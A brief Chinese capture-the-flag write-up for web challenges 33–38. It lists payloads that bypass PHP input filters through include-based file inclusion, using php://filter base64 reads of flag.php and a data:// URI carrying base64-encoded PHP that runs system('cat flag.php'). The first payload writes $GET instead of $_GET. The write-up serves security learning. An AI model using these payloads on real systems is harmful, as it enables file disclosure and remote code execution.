1、web33
过滤这多
不过还可以用include文件包含构造payload来读取flag
?c=include$GET[a]?>&a=flag.php
伪协议读取
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
进行base64解密
2、web34
加了一些过滤发现还可以使用上题思路
payload
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
解码
3、web35和web36
同上题思路依旧可以
4、web37
可以使用data协议在include函数中执行php代码
构造payload
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
查看源代码
5、web38
因为咱上一题使用的base64加密解密执行的所以上一题的payload依旧可以使用
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
总结
学到了一些协议读取文件或者执行php代码